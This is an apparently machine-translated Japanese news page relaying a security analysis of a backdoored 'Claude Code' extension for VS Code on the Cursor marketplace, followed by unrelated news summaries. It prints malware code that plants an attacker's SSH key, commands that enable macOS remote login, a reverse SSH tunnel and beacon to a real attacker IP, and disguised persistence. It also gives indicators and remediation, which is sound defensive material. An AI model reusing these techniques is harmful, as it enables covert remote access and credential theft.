Cursor マーケットの VS コード拡張機能「Claude Code」に後門が存在する

2026/10/30 16:09

Cursor マーケットの VS コード拡張機能「Claude Code」に後門が存在する

RSS: https://news.ycombinator.com/rss

要約▶

Japanese Translation:

公式 Cursor マーケットPLACE で配布されている公式 Claude Code 拡張機能(バージョン 2.1.313)に重大な裏門(バックドア)が発見された。攻撃者は Windows、Linux、macOS のいずれの環境でもユーザーのマシンに対して永続的なアクセス権を取得できる。ベンダーが管理する配布チャネルに関する標準的な仮説とは異なり、この悪意のあるアップデートは SSH キーを埋め込み、逆回線トンネルを確立することで、インストール時に直接ユーザーの関与を必要とせずにもれなくシェルへの完全なアクセス権限を取得する。この脅威は macOS のセットアップスクリプトに含まれる特定の脆弱性を利用し、セキュリティチェックを迂回すると同時に、機微なシステムデータを攻撃者管理のサーバーにビーコン送信している。Cursor は以来、その登録から該当の侵害されたリリースを削除した。バージョン 2.1.313 を使用している組織は、直ちに環境を検査し、拡張機能をアンインストールし、埋め込まれた認証情報や実行中のトンネルプロセスを能動的に探してセキュリティを回復する必要がある。この事件は、堅牢なサプライチェーン監査の緊急性を示しており、正規の開発ツールが企業ネットワーク内におけるデータ窃取および lateral movement(横方向移動)の予期せぬベクトルとして機能し、ベンダー配布ソフトウェアへの信頼を損なう可能性があることを強調している。

本文

【重大】VS Code 拡張機能「Claude Code」に持続的な SSH バックドア埋め込みの脆弱性確認

Phorion 社が調査したところ、Cursor マーケットプレイスに掲載されている公式拡張機能「Claude Code for VS Code」(バージョン 2.1.313)に、macOS、Linux、Windows の全プラットフォームに及ぶ持続的な SSH バックドアが埋め込まれていることが確認されました。

組織の皆様には直ちに、以下に対応してください。

  • 環境審査: 導入状況を全環境で即座に検証し、検知された場合はインシデントレスポンスを実施ください。
  • 回避措置: Cursor 社は該当リリースをマーケットプレイスから削除、および NPM と VS Code リポジトリからバージョン 2.1.313 を除外しています。

脅威の概要と影響範囲

このマルウェアはmacOS、Linux、Windowsすべてにおいてセットアップおよび持続性確保ロジックを含んでいます。本レポートでは特に macOS の不具合に焦点を当てて解説します。

  • 権限レベル: 拡張機能は IDE 権限および実行ユーザーの権限で動作するため、マルウェア化された拡張機能がロードされると、ローカルのファイルやソースコード、開発者ツールの即時アクセスが可能になります。
  • 目的: 長期にわたる対話型アクセス(C2)の実行と、ホストのリコナイス(偵察)データの操作者に送信です。

感染連鎖:拡張機能の乗っ取り

マルウェアは、ミニファイされた「Claude Code」バンドルへ注入された即時実行関数式 (IIFE) によって開始されます。

  • 標準的ではない動作: ユーザーが意図せずして拡張機能と相互作用するだけでペイロードが実行されます。
  • 読み込み順序:
    child_process
    ,
    fs
    などの Node.js モジュールを読み込んだ直後、通常のアクティブ化前にマレイウェアコードが実行されることがあります。

ステージ 1:SSH アクセスの準備

攻撃者は被害者のマシンにログインするための SSH キーを埋め込みます。

  1. キーの追加:
    ~/.ssh/authorized_keys
    に攻撃者管理下の Ed25519 パブリックキーを追加し、パーミッション(ディレクトリ: 0700、ファイル: 0600)を設定します。
  2. フィクションの検知ロジック: スクリプトは、キーに「
    svc-telemetry
    」というコメントが存在するかを確認しています。
    • 脆弱性点: 攻撃者は単なるコメント文字列を検索対象にしており、厳密なパブリックキーのフィンガープリントチェックを行っていないため、意図せず既存のキーと重複する可能性があります。
// コード例:authorized_keys の既存コンテンツ (cur) と埋め込みキー (PUB) を比較
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

重要: このコメント文字列のみで判断しているため、厳密なキー検証がなされず、セキュリティリスクが高まっています。

macOS SSH ロジックの不具合(脆弱性の根拠)

このマルウェアは、macOS において「SSH がすでに有効」であると誤認識する致命的な不具合を持っています。

  • 正常な動作:
    systemsetup -getremotelogin
    を実行し、出力が
    Off
    の場合のみ
    sudo -n systemsetup -setremotelogin on
    で SSH を有効化します。
  • 実際の macOS 挙動: 管理者権限なしでこのコマンドを実行すると、エラーメッセージと共にステータスコード 0(成功扱い)で終了します。

    You need administrator access to run this tool... exiting!

  • 不具合の発生プロセス:
    1. コマンド実行でエラー出力が発生し、
      /Off/i.test(rl)
      は
      false
      と評価されます。
    2. スクリプトは「SSH はすでにオン(または確認不能)」と判断し、有効化処理をスキップします。
    3. 結果: SSH を有効にしていない Mac でも、バックドアのキー埋め込みやトンネル準備は完了してしまいます。
// バグがあるコード構造
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000); // エラー出力を含み、Off と認識されない
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) { // ここは常に false になるため処理がスキップされる
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

ステージ 2:リバース SSH トンネルの設定

攻撃者は被害者のマシンから外部サーバーへ接続するトンネルを確立します。

  • 接続先:
    134.209.82[.]225
  • 認証用秘密キー:
    ~/.ssh/authorized_keys
    とは別の、埋め込まれた Ed25519 鍵(コメント:
    svc-telemetry-tun
    )を使用。

トンネルの仕組み: 外部サーバーに動的ポートを割り当てさせ、そのトラフィックを被害者のローカル SSH デーモン (

localhost:22
) へ転送します。これにより、攻撃者はリモートサーバー上のポート番号を経由せず、直接被害者マシンの SSH ポート 22 にアクセスできます。

[操作者] <--SSH--> [外部サーバーの割り当てポート] <--トンネル---> [被害者マシンの localhost:22]
                     |                                              |
                    (POST /beacon)                               (植え付けられたキー使用でログイン)
                     |                                              |
                  [攻撃者の C2 サーバー]                          [SSH デーモン]
  • 接続オプション:
    • ホストキーチェック無効化。
    • Known_hosts
      無視。
    • BatchMode
      ,
      IdentitiesOnly
      有効。
    • ExitOnForwardFailure
      オン。
  • 持続性: ユーザーが IDE を閉じてもトンネルは維持されるため、完全な対話型シェルとファイル転送が可能になります。

ステージ 3:アクセスの持続性確保

システム再起動後もバックドアを生存させるため、プラットフォーム固有のメカニズムを設定します。

プラットフォームアーティファクト・ファイル名持続性メカニズム
Linux
~/.config/.smt
,
~/.config/.smtk
シャルループスクリプト作成。
@reboot
エントリを追加(ユーザー crontab)。
※既存の cron ジョブを削除するバグあり。
macOS
~/Library/LaunchAgents/com.apple.sysmond.plist
ユーザー LaunchAgent を偽装作成。
~/.config/.smt
を実行。
※ルート権限なし、ユーザーコンテキストで動作。
Windows
sysmon.cmd
,
SysMon
(タスク)
システム起動時スケジューリングタスク作成。
失敗時は
%APPDATA%/.../Startup/sysmon.cmd
にフォールバック。

ステージ 4:ホストリコナイス(偵察)

マルウェアは収集したデータを攻撃者のサーバーへビーコンとして送信します。

  • 収集情報: ホスト名、OS、Git メール設定、ネットワークステータス、環境変数(KEY, TOKEN, SECRET, PASS, AWS, GCP など)。
  • 環境変数の抽出: 機密値そのものを流出させるのではなく、危険な認証情報の名称のみをリスト化して送信します。
  • 通信先:
    • 134.209.82[.]225:8099
      (外部 C2 サーバー)
    • 127.0.0.1:8099
      (ローカルテスト用ポート)

検出の機会とインジケーター

組織のセキュリティシステムが検知すべき重要なサインです。

主な検出ポイント

  1. SSH キーおよび構成の変更:
    • ~/.ssh/authorized_keys
      が Node.js の
      fs.appendFileSync
      で直接書き込まれること。
    • IDE ヘルパープロセス (
      Code Helper
      ,
      Cursor Helper
      など) が SSH ファイルを触れる振る舞い。
  2. ユーザー LaunchAgent の異常な作成:
    • 非 Apple プロセスが
      com.apple.*
      プリストファイル(
      ~/Library/LaunchAgents/...
      )を作成すること。
    • /bin/sh ~/.config/.smt
      を実行するよう設定された LaunchAgent の存在。
  3. SSH トンネルおよび通信:
    • リモートポートフォワーディング (
      -R *:0:localhost:22
      ) による
      ssh
      プロセスの起動。
    • IP アドレス
      134.209.82[.]225
      へのアウトバウンド SSH 接続。
    • 同 IP への HTTP POST (
      /beacon
      ) リクエスト。

インジケーター (IoC)

カテゴリ詳細値・特徴
ファイルハッシュバックドア化されたバンドル (SHA-256)
ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf1
公開キーユーザーログイン用 (Ed25519)
SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk

コメント:svc-telemetry
公開キートンネル認証用 (Ed25519)
SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ

コメント:svc-telemetry-tun
ネットワーク攻撃者 C2 サーバー (SSH)
134.209.82[.]225:22
ネットワークビーコンエンドポイント (HTTP POST)
134.209.82[.]225:8099
ホスト情報macOS 拡張機能ディレクトリ
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64
ホスト情報隠蔽スクリプト (macOS/Linux)
~/.config/.smt
,
~/.config/.smtk
ホスト情報偽装 plist ファイル (macOS)
~/Library/LaunchAgents/com.apple.sysmond.plist

修復措置

影響を受けたマシンの場合、拡張機能のアンインストールだけでは不十分です。以下のすべてのステップを完了させてください。

  1. トンネルプロセスの停止:
    • /bin/sh
      リトライループを破棄し、外部サーバー (
      134.209.82[.]225
      ) に接続中の
      ssh
      や
      autossh
      プロセスを終了します。
  2. 持続性の除去:
    • macOS:
      launchctl unload
      でアンロードし、
      ~/Library/LaunchAgents/com.apple.sysmond.plist
      を削除。スクリプトファイル (
      ~/.config/.smt
      ) も削除。
    • Linux:
      @reboot
      cron エントリを削除。関連スクリプトとキーファイルを削除。
    • Windows: システムタスク「SysMon」を削除し、スタートアップフォルダ内の
      sysmon.cmd
      を削除。
  3. SSH キーの片付け:
    • ~/.ssh/authorized_keys
      からコメント「svc-telemetry」を含む行を除去します。
  4. 認証情報のローテーション:
    • SSH が有効化されていた場合、該当ユーザーアカウントに関連するすべての認証情報(環境変数内の
      KEY|TOKEN|SECRET|PASS
      など)を更新・再発行してください。

注:macOS では、前述の不具合により SSH が実際には有効化されていない場合がありますが、バックドア自体は設定済みの状態であるため、ローテーションが必須です。

同じ日のほかのニュース

一覧に戻る →

2026/10/31 2:25

僕の一番好きなPower Macは、ニンテンドーWiiだ

## Japanese Translation: Rairii のゲスト投稿では、ArtX ベースの PowerPC システム(特にニンテンドーコンソールであるゲームキューブ、Wii、Wii U)への古典的な Mac OS バージョン 7.6 と 9.2.2 の成功したポート作業について詳述されている。同プロジェクトは 2025 年 6 月 22 日に開始され、AI の助力なしに完全に手動作業によるコーディング、リバースエンジニアリング、デバッグを通じて完了している。大きな突破点は、FAT ファイルシステムを備えた OpenBIOS を改修して Mac OS イメージをロードできるようにしたことであり、開発者は NT ARC ファームウェアローダーなどの既存のツールの再利用を行ったが、ドライバーは大幅に修正した:Elliott Nunn の virtio ベースのディスプレイドライバーの再利用、"SD Gecko"(SPI アダプター)および"EXI-IDE"(SPI エミュレーション)ディスクドライバーの実装、物理アドレス空間の前提条件と MMIO マッピングのエラーを修正する「Trampoline」へのパッチ適用などである。重要なカーネルパッチはマイクロコントローラー用のビットフラグの修正、Flipper および PCI アーキテクチャ間の中断コントローラの不整合への対処、レガシーモードの問題の解消といったハードウェア固有の課題に対応している。具体的なレガシーバグも修正された例として、「SuperMario」m68k 環境におけるシリアルポートコード内の無限ループがある。現在、SD を通じて SPI で実機上で Mac OS 7.6 は 40 秒以内に正常に起動するが、Mac OS 9.2.2 については不安定な Open Transport コンポーネントを除去しクラッシュを防ぐためにさらなる作業が必要である。

2026/10/31 6:30

sanstun:Rust で実装された、sans-IO を採用した並列性に優れた WireGuard 実装

## Japanese Translation: Sanstun は、非推奨の `firezone/boringtun` フォークを代替する、WireGuard 状態機械の最適化された Rust 実装(IO なし)をリリースしました。この新しい設計は、並列処理に適した慣用 API を使用して I/O および副作用(時間と乱数を含む)をコアビジネスロジックから分離することで、使いやすさ、セキュリティ向上、パフォーマンスを優先しています。主な利点には、プロトコル不変性をマッピングする型を通じたコンパイル時安全性、`Instant` オブジェクトによる時間処理を通じた正確なシステムシミュレーション、Diffie-Hellman 鍵交換およびクッキー管理を通じた DoS 攻撃に対する内蔵防御が含まれます。API は明示的に記録業務(例:カプセル化の開始)と重い暗号化/復号化を分離することで同期ボトルネックを回避し、暗号処理をワーカースレッドにオフロードした場合のベンチマークでは 45 倍以上のスピードアップの可能性を示しています。ユーザーは現在、パケットを手動でバッファリングする必要があり、`Tunnel::initiate_handshake` を通じてハンドシェイクを開始する必要がありますが、この設計はプライベートハンドシェイクコンスストラクタ(`Interface::receive` のみアクセス可能)を介してコンパイル時にレート制限および正しいトンネルルートを強制します。このアプローチにより、以前のフォークで問題となった直感的ではないドレインや設定できないバッファサイズのなどの内部バッファリング問題は解消されます。Sanstun パターンは Rust に限定されず、様々なプログラミング言語での実装にも有益である可能性があります。Apache 2.0 ライセンスの下で crates.io で利用可能であり、非推奨の `firezone/boringtun` フォークから移行する過程で GitHub の issue および PR を通じて貢献を招集しています。

2026/10/31 0:10

北フランクが侵害された

## Japanese Translation: Northflank エンジニアは、Wiz によって発行された重大なサイバーセキュリティ脅威アラートを成功裏に無効化し、クラウドインフラストラクチャを保護するための卓越した速度を示しました。対応は、UTC11:43 にアラートが確認されたわずか 1 分後から開始され、UTC12:02 までに最初のネットワークポリシーパッチを展開しました。この迅速な最初の介入により、プラットフォームに影響を与え得た脆弱性に対する潜在的な露出が大幅に軽減されました。事態の進展に伴い、追加のパッチングが迅速に行われました:UTC12:50 に第 2 インスタンซ์が展開され、UTC13:00 に特殊な Wiz CIRT サポートの依頼が行われました。支援を受諾した直後、さらに更新が連続して展開された(UTC13:05 など)ことにより、チームの準備状況および外部セキュリティ専門家との協力的なアプローチによってシステムの完全な強化を確保していることが浮き彫りになりました。この事象は、現代のアプリケーションプラットフォームにおいて迅速なインシデント対応メカニズムが極めて重要であることを強調しており、脅威が発見された際にユーザーに即座の保護を提供し、損害やデータ漏洩を引き起こす前にリスクを効果的に軽減することを確保しています。

Cursor マーケットの VS コード拡張機能「Claude Code」に後門が存在する | そっか~ニュース